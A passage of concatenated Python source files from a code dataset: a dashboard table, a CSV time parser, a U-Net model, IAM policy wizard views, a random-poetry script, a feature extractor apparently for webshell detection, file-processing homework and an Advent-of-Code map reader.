args=[obj_id])\n\n\nclass DelayTolerantWorkloadsTable(tables.DataTable):\n    id = tables.Column(\n        \"id\",\n        verbose_name=_(\"ID\"),\n        link=\"horizon:mistral:delayt_workloads:detail\"\n    )\n    name = tables.Column(\n        \"name\",\n        verbose_name=_(\"Name\")\n    )\n    workflow_name = WorkflowColumn(\n        \"workflow_name\",\n        verbose_name=_(\"Workflow\"),\n        link=True\n    )\n    deadline = tables.Column(\n        \"deadline\",\n        verbose_name=_(\"Deadline\"),\n    )\n    job_duration = tables.Column(\n        \"job_duration\",\n        verbose_name=_(\"Job Duration\"),\n    )\n    created_at = tables.Column(\n        \"created_at\",\n        verbose_name=_(\"Created at\"),\n        filters=[humantime]\n    )\n    updated_at = tables.Column(\n        \"updated_at\",\n        verbose_name=_(\"Updated at\"),\n        filters=[humantime]\n    )\n\n    def get_object_id(self, datum):\n        return datum.name\n\n    class Meta(object):\n        name = \"delay tolerant workload\"\n        verbose_name = _(\"Delay Tolerant Workload\")\n        table_actions = (\n            tables.FilterAction,\n            CreateDelayTolerantWorkload,\n            DeleteDelayTolerantWorkload\n        )\n        row_actions = (DeleteDelayTolerantWorkload,)\n","sub_path":"mistraldashboard/delayt_workloads/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"198232258","text":"import csv\nimport datetime\nimport re\nimport yaml\n\nclass Population( object ):\n    \n    def __init__( self ):\n\n        self.entry_rx_short = re.compile( '^\\s*#(?P<tag>\\w+)\\s+(?P<effort>\\d+|\\d+\\.\\d+|\\.\\d+)\\s*(h|hr|hrs)\\s*$' )\n        self.entry_rx_long = re.compile( '^\\s*(?P<description>.*?)\\s+#(?P<tag>\\w+)\\s+(?P<effort>\\d+|\\d+\\.\\d+|\\.\\d+)\\s*(h|hr|hrs)\\s*$' )\n\n        self.entries = []\n        self.entries_rejected = []\n        self.entries_earliest = False\n        self.entries_latest = False\n\n        self.tag_counts = {}\n\n    def _sum_tags( self ):\n        \n        for e in self.entries:\n            if e['tag'] not in self.tag_counts:\n                self.tag_counts[e['tag']] = 0\n            self.tag_counts[e['tag']] += e['effort']\n            \n    def _set_earliest_and_latest( self ):\n        \n        self.entries_earliest = min( [ e['date'] for e in self.entries ] )\n        self.entries_latest = max( [e['date'] for e in self.entries ] )\n\nclass CSVPopulation( Population ):\n\n    def __init__( self, path_to_export_file, path_to_filter_file ):\n        super().__init__()\n        \n        self.path_to_export_file = path_to_export_file\n        self.path_to_filter_file = path_to_filter_file\n        \n        with open( self.path_to_filter_file ) as f:\n            self.filters = yaml.safe_load( f )\n        \n        with open( self.path_to_export_file, newline='' ) as f:\n            rdr = csv.reader( f )\n            rdr.__next__()\n            for r in rdr:\n\n                # 0 user_email_address\n                # 1 status\n                # 2 body\n                # 3 occurred_on\n                # 4 completed_on\n                # 5 created_at\n                # 6 archived_at\n                \n                if r[0] in self.filters['skip']:\n                    continue\n                \n                m = self.entry_rx_short.match( r[2] )\n                if m:\n                    \n                    if m.group( 'tag' ) in self.filters['tags'].keys():\n                        filtered_tag = self.filters['tags'][m.group( 'tag' )]\n                    else:\n                        filtered_tag = m.group( 'tag' )\n                    \n                    self.entries.append( {\n                        'email': r[0],\n                        'date': datetime.datetime.strptime( r[4], '%Y-%m-%d' ),\n                        'description': '(none)',\n                        'tag': filtered_tag,\n                        'effort': float( m.group( 'effort' ) )\n                    } )\n                    continue\n            \n                m = self.entry_rx_long.match( r[2] )\n                if m:\n\n                    if m.group( 'tag' ) in self.filters['tags'].keys():\n                        filtered_tag = self.filters['tags'][m.group( 'tag' )]\n                    else:\n                        filtered_tag = m.group( 'tag' )\n                    \n                    self.entries.append( {\n                        'email': r[0],\n                        'date': datetime.datetime.strptime( r[4], '%Y-%m-%d' ),\n                        'description': m.group( 'description' ),\n                        'tag': filtered_tag,\n                        'effort': float( m.group( 'effort' ) )\n                    } )\n                    continue\n            \n                self.entries_rejected.append( {\n                    'email': r[0],\n                    'date': r[4],\n                    'body': r[2]\n                } )\n                \n        self._sum_tags()\n        self._set_earliest_and_latest()\n        \n    @property\n    def source( self ):\n        return 'csv | %s | %s' % ( self.path_to_export_file, self.path_to_filter_file )\n","sub_path":"src/ireportedthis/population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"532277873","text":"import numpy as np \nimport os\nimport skimage.io as io\nimport skimage.transform as trans\nimport numpy as np\nimport tensorflow as tf\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\nfrom keras import backend as keras\n\nsmooth = 1.\n\n# def iou(y_true, y_pred):\n#     y_pred = tf.cast(y_pred[:,:,:,0],'float32')\n#     y_true = tf.cast(y_true[:,:,:,0],'float32')   \n    \n# #     pred = tf.cast(y_pred,'float32')\n# #     true = tf.cast(y_true,'float32')  \n     \n#     y_pred = keras.batch_flatten(y_pred)\n#     y_true = keras.batch_flatten(y_true)\n    \n#     tp = y_true * y_pred\n#     fp = y_true * (1 - y_pred)\n#     fn = (1-y_true) * y_pred\n    \n#     tp = keras.sum(tp,axis=-1)\n#     fp = keras.sum(fp,axis=-1)\n#     fn = keras.sum(fn,axis=-1)\n    \n#     intersection = tp + smooth \n#     union= (tp+fp+fn) + smooth\n    \n#     iou = intersection/union\n#     return iou\n\ndef iou(y_true, y_pred):\n    y_true_f = K.flatten(y_true)\n    y_pred_f = K.flatten(y_pred)\n    intersection = K.sum(y_true_f * y_pred_f)    \n    return (intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) - intersection + smooth)\n\ndef dice_coef(y_true, y_pred):\n    y_true_f = K.flatten(y_true)\n    y_pred_f = K.flatten(y_pred)\n    intersection = K.sum(y_true_f * y_pred_f)\n    return (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth)\n\ndef dice_loss(y_true, y_pred):\n    return -dice_coef(y_true, y_pred)\n\ndef unet(pretrained_weights = None, batchnorm = True, input_size = (256,256,1)):\n    \n    inputs = Input(input_size)\n    \n    #Downsample Block 1\n    conv1 = Conv2D(64, (3, 3), padding='same')(inputs)\n    if batchnorm == True:\n        conv1 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv1)\n    conv1 = Activation('relu')(conv1)  \n    \n    conv1 = Conv2D(64, (3, 3), padding='same')(conv1)\n    if batchnorm == True:\n        conv1 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv1)\n    else:\n        conv1 = conv1\n    conv1 = Activation('relu')(conv1)  \n    \n    pool1 = MaxPooling2D(pool_size=(2, 2))(conv1)\n\n    #Downsample Block 2\n    conv2 = Conv2D(128, (3, 3), padding='same')(pool1)\n    if batchnorm == True:\n        conv2 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv2)\n    conv2 = Activation('relu')(conv2)\n    \n    conv2 = Conv2D(128, (3, 3), padding='same')(conv2)\n    if batchnorm == True:\n        conv2 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv2)\n    else:\n        conv2 = conv2\n    conv2 = Activation('relu')(conv2)\n    \n    pool2 = MaxPooling2D(pool_size=(2, 2))(conv2)\n    \n    #Downsample Block 3\n    conv3 = Conv2D(256, (3, 3), padding='same')(pool2)\n    if batchnorm == True:\n        conv3 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv3)\n    conv3 = Activation('relu')(conv3)\n    \n    conv3 = Conv2D(256, (3, 3), padding='same')(conv3)\n    if batchnorm == True:\n        conv3 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv3)\n    else:\n        conv3 = conv3\n    conv3 = Activation('relu')(conv3)\n    \n    pool3 = MaxPooling2D(pool_size=(2, 2))(conv3)\n\n    #Downsample Block 4\n    conv4 = Conv2D(512, (3, 3), padding='same')(pool3)\n    if batchnorm == True:\n        conv4 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv4)\n    conv4 = Activation('relu')(conv4)\n    \n    conv4 = Conv2D(512, (3, 3), padding='same')(conv4)\n    if batchnorm == True:\n        conv4 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv4)\n    else:\n        conv4 = conv4     \n    conv4 = Activation('relu')(conv4)\n    \n    pool4 = MaxPooling2D(pool_size=(2, 2))(conv4)\n    \n    #Middle block    \n    conv5 = Conv2D(1024, (3, 3), padding='same')(pool4)\n    if batchnorm == True:\n        conv5 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv5)\n    conv5 = Activation('relu')(conv5)\n    \n    conv5 = Conv2D(1024, (3, 3), padding='same')(conv5)\n    if batchnorm == True:\n        conv5 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv5)\n    else:\n        conv5 = conv5\n    conv5 = Activation('relu')(conv5)\n    \n    #Upsample Block 1    \n    up6 = Conv2DTranspose(512, (2, 2), strides=(2, 2), padding='same')(conv5)    \n    if batchnorm == True:\n        up6 = BatchNormalization(axis=3, epsilon=1.001e-5)(up6)\n    up6 = Activation('relu')(up6) \n    \n    up6 = concatenate([up6, conv4], axis=3)\n    \n    conv6 = Conv2D(512, (3, 3), padding='same')(up6)\n    if batchnorm == True:\n        conv6 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv6)\n    conv6 = Activation('relu')(conv6)\n    \n    conv6 = Conv2D(512, (3, 3), padding='same')(conv6)\n    if batchnorm == True:\n        conv6 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv6)\n    conv6 = Activation('relu')(conv6)\n    \n    #Upsample Block 2\n    up7 = Conv2DTranspose(256, (2, 2), strides=(2, 2), padding='same')(conv6)    \n    if batchnorm == True:\n        up7 = BatchNormalization(axis=3, epsilon=1.001e-5)(up7)\n    up7 = Activation('relu')(up7) \n    \n    up7 = concatenate([up7, conv3], axis=3)\n    \n    conv7 = Conv2D(256, (3, 3), padding='same')(up7)\n    if batchnorm == True:\n        conv7 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv7)\n    conv7 = Activation('relu')(conv7)\n    \n    conv7 = Conv2D(256, (3, 3), padding='same')(conv7)\n    if batchnorm == True:\n        conv7 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv7)\n    conv7 = Activation('relu')(conv7)\n    \n    #Upsample Block 3\n    up8 = Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same')(conv7)    \n    if batchnorm == True:\n        up8 = BatchNormalization(axis=3, epsilon=1.001e-5)(up8)\n    up8 = Activation('relu')(up8)\n    \n    up8 = concatenate([up8, conv2], axis=3)\n    \n    conv8 = Conv2D(128, (3, 3), padding='same')(up8)\n    if batchnorm == True:\n        conv8 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv8)\n    conv8 = Activation('relu')(conv8)\n    \n    conv8 = Conv2D(128, (3, 3), padding='same')(conv8)\n    if batchnorm == True:\n        conv8 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv8)\n    conv8 = Activation('relu')(conv8)\n    \n    #Upsample Block 4\n    up9 = Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same')(conv8)    \n    if batchnorm == True:\n        up9 = BatchNormalization(axis=3, epsilon=1.001e-5)(up9)\n    up9 = Activation('relu')(up9)\n    \n    up9 = concatenate([up9, conv1], axis=3)  \n    \n    conv9 = Conv2D(64, (3, 3), padding='same')(up9)\n    if batchnorm == True:\n        conv9 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv9)\n    conv9 = Activation('relu')(conv9)\n    \n    conv9 = Conv2D(64, (3, 3), padding='same')(conv9)\n    if batchnorm == True:\n        conv9 = BatchNormalization(axis=3, epsilon=1.001e-5)(conv9)\n    conv9 = Activation('relu')(conv9)\n    \n    #Output\n    conv10 = Conv2D(1, (1, 1), activation='sigmoid')(conv9)\n\n    model = Model(inputs=[inputs], outputs=[conv10])\n\n    model.compile(optimizer = Adam(lr = 1e-4), loss = dice_loss, metrics = ['accuracy', iou])\n    \n    #model.summary()\n\n    if(pretrained_weights):\n        model.load_weights(pretrained_weights)\n\n    return model\n\n\n","sub_path":"unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":7056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"40753028","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPyramid views for IAM Policies (permissions)\n\n\"\"\"\nimport simplejson as json\n\nfrom boto.exception import BotoServerError\nfrom pyramid.httpexceptions import HTTPFound\nfrom pyramid.i18n import TranslationString as _\nfrom pyramid.view import view_config\n\nfrom ..constants import policies, permissions\nfrom ..forms import ChoicesManager\nfrom ..forms.policies import IAMPolicyWizardForm\nfrom ..models import Notification\nfrom ..views import BaseView, JSONResponse, TaggedItemView\n\n\nclass IAMPolicyWizardView(BaseView):\n    \"\"\"Create IAM Policy wizard\"\"\"\n    TEMPLATE = '../templates/policies/iam_policy_wizard.pt'\n\n    def __init__(self, request):\n        super(IAMPolicyWizardView, self).__init__(request)\n        self.request = request\n        self.ec2_conn = self.get_connection()\n        self.iam_conn = self.get_connection(conn_type='iam')\n        self.policy_json_endpoint = self.request.route_url('iam_policy_json')\n        self.create_form = IAMPolicyWizardForm(request=self.request, formdata=self.request.params or None)\n        self.target_type = self.request.params.get('type', 'user')  # 'user' or 'group'\n        self.target_name = self.request.params.get('id', '')  # user or group name\n        self.choices_manager = ChoicesManager(conn=self.ec2_conn)\n        self.render_dict = dict(\n            page_title=self.get_page_title(),\n            create_form=self.create_form,\n            policy_json_endpoint=self.policy_json_endpoint,\n            policy_actions=permissions.POLICY_ACTIONS,\n            controller_options=json.dumps(self.get_controller_options()),\n            resource_choices=dict(\n                instances=self.get_instance_choices(),\n                images=self.get_image_choices(),\n                volumes=self.get_volume_choices(),\n                snapshots=self.get_snapshot_choices(),\n                security_groups=self.get_security_group_choices(),\n                key_pairs=self.get_key_pair_choices(),\n                vm_types=self.get_vm_type_choices(),\n                availability_zones=self.get_availability_zone_choices(),\n            ),\n        )\n\n    @view_config(route_name='iam_policy_new', renderer=TEMPLATE, request_method='GET')\n    def iam_policy_new(self):\n        \"\"\"Displays the Create IAM Policy wizard\"\"\"\n        return self.render_dict\n\n    @view_config(route_name='iam_policy_create', renderer=TEMPLATE, request_method='POST')\n    def iam_policy_create(self):\n        \"\"\"Handles the POST from the Create IAM Policy wizard\"\"\"\n        target_route = '{0}_view'.format(self.target_type)  # 'user_view' or 'group_view'\n        location = self.request.route_url(target_route, name=self.target_name)  # redirect to detail page after submit\n        if self.create_form.validate():\n            policy_name = self.request.params.get('name')\n            policy_json = self.request.params.get('policy', '{}')\n            try:\n                if self.target_type == 'user':\n                    caller = self.iam_conn.put_user_policy\n                else:\n                    caller = self.iam_conn.put_group_policy\n                caller(self.target_name, policy_name, policy_json)\n                prefix = _(u'Successfully created IAM policy')\n                msg = '{0} {1}'.format(prefix, policy_name)\n                queue = Notification.SUCCESS\n            except BotoServerError as err:\n                msg = err.message\n                queue = Notification.ERROR\n            self.request.session.flash(msg, queue=queue)\n            return HTTPFound(location=location)\n        else:\n            self.request.error_messages = self.create_form.get_errors_list()\n        return self.render_dict\n\n    def get_page_title(self):\n        prefix = _(u'Add access policy for')\n        return '{0} {1} {2}'.format(prefix, self.target_type.capitalize(), self.target_name)\n\n    def get_controller_options(self):\n        return {\n            'policyJsonEndpoint': self.policy_json_endpoint,\n            'cloudType': self.cloud_type,\n            'actionsList': self.get_all_actions(),\n        }\n\n    def get_instance_choices(self):\n        resource_name = 'instance'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All instances...'))]\n        for instance in self.ec2_conn.get_only_instances():\n            value = '{0}{1}'.format(arn_prefix, instance.id)\n            label = TaggedItemView.get_display_name(instance)\n            choices.append((value, label))\n        return choices\n\n    def get_vm_type_choices(self):\n        resource_name = 'vmtype'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All instance types...'))]\n        vm_type_choices = self.choices_manager.instance_types(\n            cloud_type=self.cloud_type, add_blank=False, add_description=False)\n        for vm_type_choice in vm_type_choices:\n            label = vm_type_choice[1]\n            value = '{0}{1}'.format(arn_prefix, vm_type_choice[0])\n            choices.append((value, label))\n        return choices\n\n    def get_image_choices(self):\n        resource_name = 'image'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All images...'))]\n        # Set owner alias to 'self' for AWS\n        owner_alias = 'self' if self.cloud_type == 'aws' else None\n        owners = [owner_alias] if owner_alias else []\n        images = self.ec2_conn.get_all_images(owners=owners, filters={'image-type': 'machine'})\n        for image in images:\n            value = '{0}{1}'.format(arn_prefix, image.id)\n            label = TaggedItemView.get_display_name(image)\n            choices.append((value, label))\n        return choices\n\n    def get_volume_choices(self):\n        resource_name = 'volume'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All volumes...'))]\n        for volume in self.ec2_conn.get_all_volumes():\n            value = '{0}{1}'.format(arn_prefix, volume.id)\n            label = TaggedItemView.get_display_name(volume)\n            choices.append((value, label))\n        return choices\n\n    def get_snapshot_choices(self):\n        resource_name = 'snapshot'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All snapshots...'))]\n        for snapshot in self.ec2_conn.get_all_snapshots():\n            value = '{0}{1}'.format(arn_prefix, snapshot.id)\n            label = TaggedItemView.get_display_name(snapshot)\n            choices.append((value, label))\n        return choices\n\n    def get_security_group_choices(self):\n        resource_name = 'securitygroup'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All security groups...'))]\n        for security_group in self.ec2_conn.get_all_security_groups():\n            value = '{0}{1}'.format(arn_prefix, security_group.name)\n            label = '{0} ({1})'.format(security_group.name, security_group.id)\n            choices.append((value, label))\n        return choices\n\n    def get_availability_zone_choices(self):\n        resource_name = 'availabilityzone'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All zones...'))]\n        for avail_zone_choice in self.choices_manager.availability_zones(add_blank=False):\n            value = '{0}{1}'.format(arn_prefix, avail_zone_choice[0])\n            label = avail_zone_choice[0]\n            choices.append((value, label))\n        return choices\n\n    def get_key_pair_choices(self):\n        resource_name = 'keypair'\n        arn_prefix = self.get_arn_prefix(resource_name)\n        choices = [(self.get_all_choice(resource_name), _(u'All key pairs...'))]\n        for key_pair in self.ec2_conn.get_all_key_pairs():\n            value = '{0}{1}'.format(arn_prefix, key_pair.name)\n            label = key_pair.name\n            choices.append((value, label))\n        return choices\n\n    def get_arn_prefix(self, resource, add_all=False):\n        region = ''\n        if self.cloud_type == 'aws':\n            region = self.region\n        return 'arn:aws:ec2:{region}::{resource}/{all}'.format(\n            region=region, resource=resource, all='*' if add_all else '')\n\n    def get_all_choice(self, resource):\n        return self.get_arn_prefix(resource, add_all=True)\n\n    @staticmethod\n    def get_all_actions():\n        actions = []\n        for namespace in permissions.POLICY_ACTIONS:\n            actions.extend(namespace.get('actions'))\n        return actions\n\n\nclass IAMPolicyWizardJsonView(BaseView):\n    \"\"\"View for returning JSON of canned policies\"\"\"\n\n    @view_config(route_name='iam_policy_json', renderer='json', request_method='GET')\n    def iam_policy_json(self):\n        policy_type = self.request.params.get('type')\n        policy_dict = policies.TYPE_POLICY_MAPPING.get(policy_type)\n        if policy_dict:\n            return dict(policy=policy_dict)\n        return JSONResponse(status=404, message=_(u'Unable to locate policy'))\n\n\n","sub_path":"koala/views/policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":9158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"170029527","text":"#!/usr/bin/env python3\nimport random\nimport sys\ntry:\n    lines = sys.argv[1]\n    try:\n        number = int(lines)\n    except ValueError as err:\n        print(err)\n        lines = 5\n    if 1<= number <=10:\n        lines = number\n    else:\n        lines = 5\nexcept IndexError:\n    lines = 5\nguanci = ('the', 'a')\nzhuti = ('cat', 'dog', 'man', 'woman')\ndongci = ('sang', 'ran', 'jumped')\nzhuangyu = ('loudly', 'quietly', 'well', 'badly')\ni = 0\nwhile i < lines:\n    rnd = random.randint(10, 19)\n    if 10 <= rnd <= 14:\n        print(random.choice(guanci), random.choice(zhuti), random.choice(dongci), random.choice(zhuangyu))\n    else:\n        print(random.choice(guanci), random.choice(zhuti), random.choice(dongci))\n    i += 1        \n","sub_path":"chaper 1/4/aweful_poetry_2.py","file_name":"aweful_poetry_2.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"145201952","text":"# -*- coding: utf-8 -*-\nimport os\nimport multiprocessing\nimport time\nimport pandas as pd\nimport re\nimport php_fn\n\n\n# 特征集\n[text_feature_set, other_feature_set] = [multiprocessing.Manager().list(), multiprocessing.Manager().list()]  \n\n\n# 获取php函数名\nfn_files_path = php_fn.project_path + \"/res/php_fn/\"  # txt文件所在文件夹的绝对路径\nfn_files = os.listdir(fn_files_path)  # txt文件名\nfn = pd.Series([[], [], [], []], index=[fn_file[:-4] for fn_file in fn_files])\nfor fn_file in fn_files:\n    # 打开某个txt文件\n    with open(fn_files_path + fn_file, \"r\", encoding=\"UTF-8\", errors=\"ignore\") as f:\n        source = f.read().split()\n        fn[str(fn_file[:-4])] = source\n\n\ndef text_feature(sample_file):\n    \"\"\"\n    @author: hanchenchen\n    @date: 9/18/2018\n    @fn:\n    @version: 2.1\n    \"\"\"\n    tf = pd.Series([0, 0, 0, 0, 0, 0], index=[\"cmt_chars_num\", \"words_num\", \"diff_words_num\", \"longest_word_len\", \"chars_num\", \"special_chars_num\"])\n    with open(sample_file, \"r\", encoding=\"UTF-8\", errors=\"ignore\") as f:\n        source = f.read()\n        tf[\"cmt_chars_num\"] = len(source)  # 注释字符数\n        # 字符串中的注释暂时当作注释，因为正常的代码中字符串极少包含注释\n        source = re.compile(\"\\/\\*[\\s\\S]*\\*\\/\").sub('', source)  # 去/*...*/注释\n        source = re.compile(\"\\/\\/.*?\").sub('', source)  # 去//注释\n        tf[\"cmt_chars_num\"] -= len(source)\n        words = re.findall(\"[a-zA-Z]+\", source)\n        tf[\"words_num\"] = len(words)  # 单词数量\n        tf[\"diff_words_num\"] = len(set(words))  # 不同单词数量\n        tf[\"longest_word_len\"] = max([len(word) for word in words])  # 最大单词长度\n        tf[\"chars_num\"] = len(re.findall(\"\\S\", source))  # 字符数量\n        tf[\"special_chars_num\"] = tf[\"chars_num\"] - len(re.findall(\"[a-zA-Z0-9]\", source))  # 特殊字符数量\n    return tf\n\n\ndef other_feature(sample_file):\n    \"\"\"\n    @author: hanchenchen\n    @date: 9/24/2018\n    @function:\n    @version: 2.0\n    \"\"\"\n    of = pd.Series([0, 0, 0, 0], index=[fn_file[:-4] for fn_file in fn_files])\n    with open(sample_file, \"r\", encoding=\"UTF-8\", errors=\"ignore\") as f:\n        source = f.read()\n        for i in range(0, len(fn)):\n            for item in fn[i]:\n                of[str(fn.index[i])] += len(re.findall(item, source))\n    return of\n\n\ndef analyze_feature(file_name):\n    \"\"\"\n    @author: hanchenchen\n    @date: 9/23/2018\n    @function:\n    @version: 2.0\n    \"\"\"\n    text_feature_set.append(text_feature(file_name))\n    other_feature_set.append(other_feature(file_name))\n\n\ndef main():\n    \"\"\"\n    @author: hanchenchen\n    @date: 9/26/2018\n    @function: 多线程分析样本特征\n    @version: 1.0\n    \"\"\"   \n    \n    \"\"\"\n    # singleprocess\n    start_time = time.time()    \n    sample_files_path = php_fn.project_path + \"/res/samples/\"\n    files = os.listdir(sample_files_path)\n    for file in files:\n        analyze_feature(sample_files_path + file)\n    end_time = time.time()\n    print(\"singleprocess needs \" + str(end_time - start_time) + \"s\")\n    \"\"\"\n   \n    # multiprocess\n    start_time = time.time()    \n    sample_files_path = php_fn.project_path + \"/res/samples/\"\n    files = os.listdir(sample_files_path)\n    pool = multiprocessing.Pool()\n    for file in files:\n        pool.apply_async(analyze_feature, [sample_files_path+file])\n    pool.close()\n    pool.join()\n    end_time = time.time()\n    print(\"分析样本特征成功！耗时：%.3f s\" % (end_time - start_time))\n   \n\nif __name__ == '__main__':\n    main()\n","sub_path":"webshell/src/analyze_feature.py","file_name":"analyze_feature.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"177152055","text":"\"\"\"\nЗадание:\n1) В файле, содержащем фамилии студентов и их оценки, изменить на прописные буквы фамилии тех студентов, которые имеют\nсредний балл за национальной шкалой более «4».\n\"\"\"\npath_1 = \"Task_1/file.txt\"\n\n\ndef average_score(filename):\n    students = []\n    grades = []\n    sum_grades = []\n    student = []\n    with open(filename, \"r\", encoding=\"utf8\") as open_file:\n        for line in open_file:\n            for i in line:\n                if i.isdigit():\n                    sum_grades.append(int(i))\n                    grades.append(i)\n                elif i.isalpha():\n                    student.append(i)\n            if (sum(sum_grades)/len(sum_grades)) < 4:\n                students.append({\"student\": \"\".join(student), \"grades\": grades})\n            else:\n                students.append({\"student\": (\"\".join(student)).lower(), \"grades\": grades})\n            sum_grades = []\n            grades = []\n            student = []\n        print(students)\n\n    with open(filename, \"w\", encoding=\"utf8\") as write_file:\n        for i in range(len(students)):\n            write_file.write(f\"{students[i]['student']} - {', '.join(students[i]['grades'])}\\n\")\n\n\naverage_score(path_1)\n\n\"\"\"\n2) Из текстового файла удалить все слова, содержащие от трех до пяти символов, но при этом из каждой строки должно быть\nудалено только четное количество таких слов.\n\"\"\"\npath_2 = \"Task_2/file.txt\"\n\n\ndef delete_small_words(filename):\n    lines = []\n    with open(filename, \"r\", encoding=\"utf8\") as open_file:\n        for line in open_file:\n            current_line = line.split()\n            count = 0\n            for word in current_line:\n                if 3 <= len(word) <= 5:\n                    count += 1\n\n            if count % 2 == 0:\n                for idx, word in enumerate(current_line):\n                    if 3 <= len(word) <= 5:\n                        current_line.pop(idx)\n                lines.append(current_line)\n\n            if count % 2 != 0:\n                for idx, word in enumerate(current_line):\n                    if 3 <= len(word) <= 5 and count != 1:\n                        current_line.pop(idx)\n                        count -= 1\n                lines.append(current_line)\n\n    with open(filename, \"w\", encoding=\"utf8\") as write_file:\n        for i in range(len(lines)):\n            write_file.write(f\"{' '.join(x for x in lines[i])}\\n\")\n\n\ndelete_small_words(path_2)\n\n\"\"\"\n3) Из текста программы выбрать все числа (целые и вещественные) и записать их в файл g в виде: число 1 – номер строки,\nчисло 2 – номер строки и так далее.\nВ качестве выполненного ДЗ отправить ссылку на проект GitHub в котором будет находится код.\n\"\"\"\npath_3 = \"Task_3/file.txt\"\n\n\ndef numbers(filename):\n    digits = []\n    current_line = 0\n    with open(f\"{filename}\", \"r\", encoding=\"utf-8\") as open_file:\n        for line in open_file:\n            numbers_list = line.split()\n            current_line += 1\n\n            for i in numbers_list:\n                digit = ''.join([char for char in i if char.isdigit() or char == '.'])\n                if digit:\n                    digits.append({\"number\": digit, \"line\": current_line})\n\n    open_file.close()\n\n    with open(\"Task_3/g.txt\", \"w\", encoding=\"utf8\") as write_file:\n        for i in range(len(digits)):\n            write_file.write(f\"Число {digits[i]['number']} - строка {digits[i]['line']}\\n\")\n\n\nnumbers(path_3)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"545142506","text":"import sys\nimport copy\nimport itertools\nsys.path.append('../intcode')\n\nimport intcode\n\nwith open(\"day17.input\") as file:\n    program = [int(val) for val in file.read().split(',')]\n\nsystem = intcode.IntCode()\nsystem.load_program(program)\n\nin_queue = system.get_input_queue()\nout_queue = system.get_output_queue()\n\nship_map = {}\n\nsystem.run_program()\n\ndef read_map(out_queue, ship_map, do_print):\n    pos = (0,0)\n    robot_pos = None\n    robot_dir = None\n    was_newline = False\n    map_done = False\n    while not out_queue.empty():\n        obj = chr(out_queue.get())\n        if do_print:\n            print(obj, end='')\n        if obj == '\\n':\n            if was_newline:\n                map_done = True\n            else:\n                was_newline = True\n                pos = (0, pos[1]+1)\n        elif not map_done:\n            was_newline = False\n            if obj == '#':\n                ship_map[pos] = {'visits': 0,  'allowed_visits': 1}\n            elif obj == '^':\n                robot_pos = pos\n                robot_dir = (0,-1)\n                ship_map[pos] = {'visits': 0,  'allowed_visits': 1}\n            pos = (pos[0]+1, pos[1])\n    return robot_pos, robot_dir\n\ndef read_map2(ship_map):\n    with open(\"day17.part2.input.example\") as file:\n        robot_pos = None\n        robot_dir = None\n        pos = (0,0)\n        for line in file:\n            for obj in line.rstrip():\n                if obj == '#':\n                    ship_map[pos] = {'visits': 0,  'allowed_visits': 1}\n                elif obj == '^':\n                    robot_pos = pos\n                    robot_dir = (0,-1)\n                    ship_map[pos] = {'visits': 0,  'allowed_visits': 1}\n                pos = (pos[0]+1, pos[1])\n            pos = (0, pos[1]+1)\n        return robot_pos, robot_dir\n\ndef is_corner(ship_map, pos):\n    total_num_paths = 0\n    for step in [(1,0),(0,1)]:\n        next_pos1 = (pos[0] + step[0], pos[1] + step[1])\n        next_pos2 = (pos[0] - step[0], pos[1] - step[1])\n        num_paths = 0\n        if ((next_pos1 in ship_map and next_pos2 in ship_map) or\n            (next_pos1 not in ship_map and next_pos2 not in ship_map)):\n            return False\n    return True\n\ndef is_end(ship_map, pos):\n    num_paths = 0\n    for step in [(1,0),(-1,0),(0,1),(0,-1)]:\n        num_paths += 1 if (pos[0] + step[0], pos[1] + step[1]) in ship_map else 0\n    return num_paths 